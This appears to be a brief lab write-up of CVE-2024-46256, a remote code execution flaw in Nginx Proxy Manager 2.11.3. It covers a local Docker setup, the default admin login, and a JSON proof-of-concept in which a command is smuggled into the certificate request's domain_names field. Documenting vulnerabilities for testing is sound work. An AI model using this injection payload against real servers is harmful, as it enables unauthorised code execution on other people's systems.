CVE-2024-46256 Nginx Proxy Manager RCE Vulnerability Analysis

Environment Setup

1. Running Nginx Proxy Manager 2.11.3 Environment

docker-compose up -d

Or you can use the automated script:

python setup_environment.py

2. Accessing Nginx Proxy Manager

• URL: http://localhost:81

• Complete the initial setup before proceeding with testing

• Log in with the default admin account (Email: [email protected] / Password: changeme)

• Verify access to certificate issuance related features

Vulnerability Information

• CVE ID: CVE-2024-46256

• Product: Nginx Proxy Manager

• Version: 2.11.3

• Vulnerability Type: Remote Code Execution (RCE)

• CVSS: High

PoC Code

The PoC triggers RCE by injecting templates/commands in the domain name field during the certificate issuance request (e.g., Let's Encrypt) by an authenticated user.

Example payload (conceptual example):

{
  "domain_names": ["test.com\"||{command}||\\n test.com\""],
  "meta": {
    "dns_challenge": false,
    "letsencrypt_agree": true,
    "letsencrypt_email": "[email protected]"
  },
  "provider": "letsencrypt"
}

Analysis Environment

• OS: Windows 10

• Docker: Latest version

• Nginx Proxy Manager: 2.11.3